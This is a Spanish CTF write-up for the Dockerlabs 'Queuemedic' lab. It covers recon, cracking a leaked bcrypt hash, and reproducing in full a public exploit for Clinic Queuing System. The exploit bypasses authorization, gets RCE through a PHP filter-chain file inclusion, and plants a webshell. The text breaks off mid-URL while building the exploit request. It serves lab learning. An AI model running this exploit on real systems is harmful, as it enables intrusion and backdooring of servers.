> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/queuemedic.md).

# Queuemedic

TAG -> Dockerlabs | CTF

<details>

<summary>Datos</summary>

* **Máquina** -> Queuemedic
* **Dificultad** -> Difícil
* **Creador** -> [b0ysie7e](https://b0ysie7e.github.io/)

</details>

Después de desplegar el laboratorio **Queuemedic**, comienzo verificando si el contenedor responde a las solicitudes ICMP. Para ello utilizo `ping` con la opción `-R`, que intenta registrar la ruta recorrida por los paquetes IPv4 cuando los dispositivos lo permiten:

```bash
ping -c 1 172.17.0.2 -R
```

**Resultado**

```js
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.073 ms
RR: 	172.17.0.1
        172.17.0.2
        172.17.0.2
	172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.073/0.073/0.073/0.000 ms
```

La prueba no muestra pérdida de paquetes y recibimos un **TTL de 64**. Este valor es compatible con configuraciones habituales de Linux, pero **no basta para identificar el sistema operativo**, ya que depende del TTL inicial y de los saltos de red. A continuación creo las carpetas de trabajo con mi función `mkt`, accedo a `recognition/nmap` y comienzo la enumeración de puertos y servicios:

```bash
nmap -p- --open -sSCV --min-rate 5000 -n -Pn -v -oN targeted.txt 172.17.0.2
```

**Resultado (Contenido de `targeted.txt`)**

```js
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: LOGIN | Clinic Queuing System
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 23 18:27:30 2025 -- 1 IP address (1 host up) scanned in 7.82 seconds
```

El escaneo de **Nmap** identifica un servicio HTTP en el puerto **80**, atendido por **Apache 2.4.52**, y detecta que la página inicial remite a **`login.php`**. También informa sobre determinadas cabeceras o atributos de seguridad ausentes. Esos resultados son indicios para revisar, no vulnerabilidades demostradas por sí solos. Ahora inspeccionaré la aplicación desde el navegador.

> Para complementar el reconocimiento de tecnologías y redirecciones HTTP, también podemos utilizar **WhatWeb**.

```bash
whatweb 172.17.0.2
```

**Resultado**

```ruby
http://172.17.0.2 [302 Found] Apache[2.4.52], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[172.17.0.2], RedirectLocation[./login.php]
http://172.17.0.2/login.php [200 OK] Apache[2.4.52], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[172.17.0.2], JQuery[3.6.0], PHP, PasswordField[password], Script, Title[LOGIN | Clinic Queuing System], X-UA-Compatible[IE=edge]
```

WhatWeb muestra la redirección hacia **`login.php`** cuando accedemos a la raíz de la aplicación sin una sesión autenticada.

**Página web**

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FkqIjxHjZljNyQWcGewDH%2Fimg_1_queuemedic.png?alt=media&amp;token=f7950439-bb9c-414d-a060-42ffe04b91c4" alt=""><figcaption></figcaption></figure>

En el navegador aparece el formulario de **inicio de sesión**. También observo un enlace hacia **`patient_side.php`** a la izquierda del botón de acceso. Antes de probar la autenticación, realizaré una enumeración de contenido con **Feroxbuster**.

> Comienzo con el siguiente comando de enumeración. El número de hilos debe ajustarse a la capacidad y las condiciones del laboratorio.

```bash
feroxbuster --url http://172.17.0.2/ -w /WordLists/directory-list-2.3-medium.txt -t 200
```

**Resultado**

```js
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.17.0.2/
 🚀  Threads               │ 200
 📖  Wordlist              │ /WordLists/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        0l        0w        0c http://172.17.0.2/ => ./login.php
301      GET        9l       28w      306c http://172.17.0.2/css => http://172.17.0.2/css/
200      GET        1l     6804w   105151c http://172.17.0.2/css/bootstrap-reboot.rtl.css.map
200      GET        1l    11998w   192214c http://172.17.0.2/css/bootstrap-utilities.rtl.css.map
200      GET        7l     1994w   162720c http://172.17.0.2/css/bootstrap.min.css
200      GET      427l      680w     5850c http://172.17.0.2/css/bootstrap-reboot.css
200      GET        8l       65w     4646c http://172.17.0.2/css/bootstrap-reboot.min.css
200      GET      424l      675w     5827c http://172.17.0.2/css/bootstrap-reboot.rtl.css
200      GET     4857l     7719w    71451c http://172.17.0.2/css/bootstrap-utilities.rtl.css
200      GET        7l       91w    53479c http://172.17.0.2/css/bootstrap-utilities.min.css
301      GET        9l       28w      305c http://172.17.0.2/db => http://172.17.0.2/db/
301      GET        9l       28w      305c http://172.17.0.2/js => http://172.17.0.2/js/
200      GET        7l     1019w    78468c http://172.17.0.2/js/bootstrap.bundle.min.js
200      GET        2l     1294w    89501c http://172.17.0.2/js/jquery-3.6.0.min.js
200      GET        7l      758w    72016c http://172.17.0.2/js/bootstrap.esm.min.js
200      GET       33l       72w      937c http://172.17.0.2/js/script.js
200      GET        1l    36083w   536547c http://172.17.0.2/css/bootstrap.css.map
200      GET       21l      115w    16406c http://172.17.0.2/db/clinic_queuing_db.db
200      GET        1l     3670w    41570c http://172.17.0.2/css/bootstrap-reboot.rtl.min.css.map
200      GET     6780l    18269w   208492c http://172.17.0.2/js/bootstrap.bundle.js
301      GET        9l       28w      309c http://172.17.0.2/backup => http://172.17.0.2/backup/
200      GET        1l    19057w   425643c http://172.17.0.2/js/bootstrap.bundle.js.map
200      GET        1l    11809w   288320c http://172.17.0.2/js/bootstrap.esm.js.map
200      GET        1l    11874w   217145c http://172.17.0.2/js/bootstrap.min.js.map
200      GET     5026l    12057w   148168c http://172.17.0.2/js/bootstrap.js
200      GET        1l    11810w   222508c http://172.17.0.2/js/bootstrap.esm.min.js.map
200      GET        7l      316w    51319c http://172.17.0.2/css/bootstrap-grid.min.css
200      GET        7l      316w    51394c http://172.17.0.2/css/bootstrap-grid.rtl.min.css
200      GET        1l     9263w   117439c http://172.17.0.2/css/bootstrap-grid.min.css.map
200      GET     4996l     7929w    70612c http://172.17.0.2/css/bootstrap-grid.rtl.css
200      GET     4997l     7929w    70538c http://172.17.0.2/css/bootstrap-grid.css
200      GET        1l     9263w   117516c http://172.17.0.2/css/bootstrap-grid.rtl.min.css.map
200      GET     4866l     7734w    71584c http://172.17.0.2/css/bootstrap-utilities.css
200      GET        1l     3196w    35330c http://172.17.0.2/css/bootstrap-reboot.min.css.map
200      GET    11197l    21124w   203803c http://172.17.0.2/css/bootstrap.rtl.css
200      GET        1l     6804w   105138c http://172.17.0.2/css/bootstrap-reboot.css.map
200      GET        1l     8418w   111875c http://172.17.0.2/css/bootstrap-utilities.min.css.map
200      GET        1l    12876w   196535c http://172.17.0.2/css/bootstrap-grid.css.map
200      GET        1l    11998w   192271c http://172.17.0.2/css/bootstrap-utilities.css.map
200      GET        1l     8407w   111710c http://172.17.0.2/css/bootstrap-utilities.rtl.min.css.map
200      GET        8l       65w     4718c http://172.17.0.2/css/bootstrap-reboot.rtl.min.css
200      GET      110l      220w     2307c http://172.17.0.2/css/custom.css
200      GET        1l    19058w   327261c http://172.17.0.2/js/bootstrap.bundle.min.js.map
200      GET        6l      275w    18873c http://172.17.0.2/js/popper.min.js
200      GET        1l    12876w   196539c http://172.17.0.2/css/bootstrap-grid.rtl.css.map
200      GET     5164l    33046w  2601804c http://172.17.0.2/backup/backup.zip
200      GET        7l      756w    59511c http://172.17.0.2/js/bootstrap.min.js
200      GET     4977l    11935w   139019c http://172.17.0.2/js/bootstrap.esm.js
200      GET        1l    11873w   289522c http://172.17.0.2/js/bootstrap.js.map
200      GET        1l    50920w   661035c http://172.17.0.2/css/bootstrap.rtl.min.css.map
200      GET        7l       91w    53407c http://172.17.0.2/css/bootstrap-utilities.rtl.min.css
200      GET    11221l    21180w   204136c http://172.17.0.2/css/bootstrap.css
200      GET        1l    32718w   449111c http://172.17.0.2/css/bootstrap.min.css.map
200      GET        1l    36083w   536461c http://172.17.0.2/css/bootstrap.rtl.css.map
200      GET        7l     1994w   162825c http://172.17.0.2/css/bootstrap.rtl.min.css
[####################] - 20s   220599/220599  0s      found:55      errors:1      
[####################] - 20s   220545/220545  10939/s http://172.17.0.2/ 
[####################] - 4s    220545/220545  52990/s http://172.17.0.2/css/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s    220545/220545  1282238/s http://172.17.0.2/db/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 3s    220545/220545  79533/s http://172.17.0.2/js/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 2s    220545/220545  96815/s http://172.17.0.2/backup/ => Directory listing (add --scan-dir-listings to scan)
```

> Al buscar **Clinic Queuing System** con `searchsploit`, también encuentro un exploit que anuncia **ejecución remota de código (RCE)**. La prueba inicial no funciona en este entorno; más adelante analizaré el código fuente para entender las condiciones necesarias.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F1ZNT93UUJmRDIO5JcFco%2Fimg_2_queuemedic.png?alt=media&amp;token=14fff4dc-8292-41f8-8f11-8fc045dc4e78" alt=""><figcaption></figcaption></figure>

En los resultados del **fuzzing** aparecen numerosos recursos. Dos de ellos llaman especialmente la atención: una base de datos accesible desde la web y una ruta de copias de seguridad.

```js
200      GET       21l      115w    16406c http://172.17.0.2/db/clinic_queuing_db.db
```

```js
01      GET        9l       28w      309c http://172.17.0.2/backup => http://172.17.0.2/backup/
```

La URL **`http://172.17.0.2/db/clinic_queuing_db.db`** permite descargar un archivo con extensión `.db`. La salida siguiente muestra parte de su contenido binario, que incluye la cabecera característica de **SQLite**. Esta exposición merece atención porque podría revelar información sensible de la aplicación:

```bash
cat clinic_queuing_db.db
```

**Resultado**

```js
SQLite format 3@  .WJ
�V
  ��Q%%�etablepatient_listpatient_listCREATE TABLE `patient_list` (
            `patient_id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            `queue_no` TEXT NOT NULL,
            `fullname` INTEGER NOT NULL,
            `address` TEXT NOT NULL,
            `contact` TEXT NOT NULL,
            `age` INTEGER NOT NULL,
            `weight` FLOAT NOT NULL Default 0,
            `bp_rate` TEXT NULL,
            `status` TINYINT(2) NOT NULL Default 0,
            `notify` TINYINT(2) NOT NULL Default 1,
            `date_created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)�'�tableuser_listuser_listCREATE TABLE `user_list` (
            `user_id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            `fullname` INTEGER NOT NULL,
            `username` TEXT NOT NULL,
            `password` TEXT NOT NULL,
            `type` TINYINT(1) NOT NULL Default 0,
            `status` TINYINT(1) NOT NULL Default 0,
            `date_created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP
%�%m	)		3Jessica Castrojessica$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK2024-09-20 14:15:46j	'�		3Administratoradmin$2y
```

Para examinar el contenido de forma estructurada, utilizaré el cliente **`sqlite3`** en lugar de interpretar directamente los bytes con `cat`:

```js
sqlite3 clinic_queuing_db.db
```

**Resultado**

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FYSey4LuJGe4Dds0Y98wq%2Fimg_3_queuemedic.png?alt=media&amp;token=74e39030-a38e-483c-8db8-afe76845ed58" alt=""><figcaption></figcaption></figure>

Dentro de la base de datos encontramos registros de usuarios, incluido **`jessica`**, junto con un valor que presenta la estructura de un **hash de contraseña**. Esto podría estar relacionado con la autenticación del panel observado anteriormente. Intentaré identificar su formato y recuperar la contraseña durante este CTF, sin confundir un hash con cifrado reversible.

* Primero guardaré el hash observado en un archivo denominado **`hash.txt`**, manteniendo sus caracteres exactamente como aparecen.

```bash
echo '$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK' > hash.txt
```

* Después utilizaré **Hashid** para obtener pistas sobre el algoritmo empleado. Esta identificación es orientativa y debe contrastarse con la estructura del hash.

```bash
hashid '$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK'
```

**Resultado**

```js
Analyzing '$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK'
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt
```

* El prefijo **`$2y$10$`** es característico de **bcrypt**, que utiliza Blowfish en su diseño. Utilizaré **John the Ripper** en modo `bcrypt` para realizar un ataque de diccionario al hash del laboratorio; no se trata de descifrarlo, sino de comprobar candidatos mediante hashing.

```js
john --format=bcrypt --wordlist=/WordLists/rockyou.txt hash.txt 
```

**Resultado**

```js
[Karonte:615668] shmem: mmap: an error occurred while determining whether or not /tmp/ompi.Karonte.0/jf.0/154009600/shared_mem_cuda_pool.Karonte could be created.
[Karonte:615668] create_and_attach: unable to create shared memory BTL coordinating structure :: size 134217728 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
j.castro         (?)
1g 0:00:00:01 DONE (2025-03-23 22:49) 0.6993g/s 75.52p/s 75.52c/s 75.52C/s shadow..thomas
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

La salida de John the Ripper identifica **`j.castro`** como contraseña correspondiente al hash analizado. Con el usuario **`jessica`** podemos probar esas credenciales en el inicio de sesión de **Clinic Queuing System**.

> La contraseña `j.castro` figura en la lista **`rockyou.txt`**, pero no siempre es necesario utilizar un diccionario tan amplio. También podemos generar candidatos basados en el nombre y apellido conocidos mediante [username-anarchy-master](https://github.com/urbanadventurer/username-anarchy.git). En este laboratorio, partiendo de **Jessica Castro** y de un archivo `UserList.txt`, el comando sería:

```js
username-anarchy -i UserList.txt > wordlist.txt
```

**Resultado**

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2Fv8RsPS5us9T30uxjf9Tw%2Fimg_4_queuemedic.png?alt=media&amp;token=a9d28b6a-b669-42bb-92c5-a094d8740d0f" alt=""><figcaption></figcaption></figure>

**username-anarchy** genera combinaciones derivadas de los nombres proporcionados en `UserList.txt`. La variante que coincide con la contraseña del laboratorio ilustra cómo los patrones previsibles facilitan ataques de diccionario; generar un candidato no demuestra que sea válido hasta contrastarlo con la autenticación o el hash.

Después de acceder a la aplicación, no observo inmediatamente un vector claro en su interfaz. Sin embargo, la enumeración anterior descubrió tanto una base SQLite expuesta como **`/backup/backup.zip`**. Al descargar la copia de seguridad puedo examinar archivos que parecen corresponder al código fuente y a la estructura de la aplicación. Conviene tratar esas copias como una fuente potencial de información sensible.

El exploit localizado mediante `searchsploit` hace referencia a **CVE-2024-0264**, una omisión de autorización asociada al parámetro **`formToken`** en **`LoginRegistration.php`**. Al revisar la copia de seguridad encuentro la siguiente condición que compara el token recibido con el permitido. **Esta comprobación parece mitigar el caso observado en el código**, aunque su presencia aislada no certifica que toda la aplicación esté parcheada ni que los demás flujos estén protegidos:

```php
if(!isset($formToken) || (isset($formToken) && $formToken != $allowedToken) || (isset($formToken) && $formToken==='')){
```

Por otra parte, el exploit también menciona **CVE-2024-0265**, una vulnerabilidad de **inclusión de archivos** asociada al parámetro GET **`page`** de `index.php`. El fragmento relevante es:

```php
<?php include($page.".php");  ?>
```

> Fragmento correspondiente a la línea 82 de **`index.php`**, según la copia de código analizada.

La instrucción construye el nombre de un archivo a partir de **`$page`** y le agrega **`.php`** antes de pasarlo a `include()`. Si ese valor procede de una entrada controlada por el usuario y no se valida adecuadamente, puede producirse una **inclusión de archivos no deseados**. No debe afirmarse que cualquier ruta funciona sin considerar el sufijo añadido y las restricciones de PHP.

El parámetro **`page`**, transmitido mediante la URL, puede influir en el archivo que la aplicación intenta incluir. La consecuencia concreta —inclusión de un archivo local, lectura de contenido o incluso ejecución de código— depende de la ruta construida, los permisos, los wrappers disponibles y la configuración del intérprete.

**Ejemplo de uso esperado:**

```python
http://ejemplo.com/index.php?page=patients
```

Con ese parámetro, la aplicación intentará incluir **`patients.php`**. Un atacante también podría intentar introducir una ruta relativa:

```python
http://ejemplo.com/index.php?page=../../etc/passwd
```

Debido al sufijo concatenado, la ruta construida no es exactamente la solicitada por el usuario; quedaría así:

```php
include("../../etc/passwd.php");
```

El ejemplo anterior terminaría intentando incluir **`../../etc/passwd.php`**, no `/etc/passwd`, por lo que **no demuestra una lectura arbitraria de archivos**. El exploit documentado aprovecha una cadena de filtros de PHP (`php://filter`) y comportamientos específicos del procesamiento de `include()`. No basta con habilitar `allow_url_include` ni con eliminar supuestamente la extensión: debemos estudiar la técnica real y las condiciones del servidor. A continuación se conserva el código original obtenido mediante `searchsploit`:

```python
# Exploit Title: Clinic Queuing System 1.0 RCE
# Date: 2024/1/7
# Exploit Author: Juan Marco Sanchez
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/16439/clinic-queuing-system-using-php-and-sqlite3-source-code-free-download.html
# Version: 1.0
# Tested on: Debian Linux Apache Web Server
# CVE: CVE-2024-0264 and CVE-2024-0265

import requests
import random
import argparse
from bs4 import BeautifulSoup

parser = argparse.ArgumentParser()
parser.add_argument("target")
args = parser.parse_args()

base_url = args.target
phase1_url = base_url + '/LoginRegistration.php?a=save_user'
phase2_url = base_url + '/LoginRegistration.php?a=login'

filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"

def phase1(): # CVE-2024-0264
	rand_user = 'pwn_'+str(random.randint(100, 313))
	rand_pass = 'pwn_'+str(random.randint(100, 313))
	pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1}
	print("[*] adding administrator " + rand_user + ":" + rand_pass)
	phase1 = requests.post(phase1_url, pwn_user_data)
	if "User Account has been added successfully." in phase1.text:
		print("[+] Phase 1 Success - Admin user added!\n")
		print("[*] Initiating Phase 2")
		phase2(rand_user, rand_pass)
	else:
		print("[X] user creation failed :(")
		die()

def phase2(user, password): # CVE-2024-0265
	s = requests.Session();
	login_data = {'formToken':'','username':user, 'password':password}
	print("[*] Loggin in....")
	phase2 = s.post(phase2_url, login_data)

	if "Login successfully." in phase2.text:
		print("[+] Login success")
	else:
		print("[X] Login failed.")
		die()

	print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n")
	rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';"
	#print("[*] Payload: " + rce_url)
	rce = s.get(rce_url)

	if "jmrcsnchz" in rce.text:
		print("[+] RCE success!")
		soup = BeautifulSoup(rce.text, 'html.parser')
		print("[+] Output of id: " + soup.pre.get_text())
		print("[*] Uploading php backdoor....")
		s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));")
		print("[+] Access at " + base_url + "/rce.php?0=whoami")
	else:
		print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.")
		die()

try:
	print("[*] Initiating Phase 1")
	phase1()
except:
	print("Exploit failed.")
```

Al analizar el exploit vemos que utiliza un flujo de **autenticación** y necesita credenciales válidas, que ya obtuvimos en este laboratorio. También gestiona un **token del formulario** para realizar las solicitudes correspondientes. Las líneas clave que revisaré son las siguientes:

```php
rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';"
```

Esta primera línea construye una solicitud para **comprobar la ejecución de código**. La siguiente intenta **crear un archivo PHP** en el servidor mediante la combinación de filtros y funciones de PHP documentada en el exploit:

```php
s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));")
```

El código intenta escribir **`rce.php`** en el directorio de trabajo de la aplicación. Para comprobar el comportamiento desde nuestro entorno CTF, realizaré primero la petición **GET** construida por el exploit:

```python
http://172.17.0.2/?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv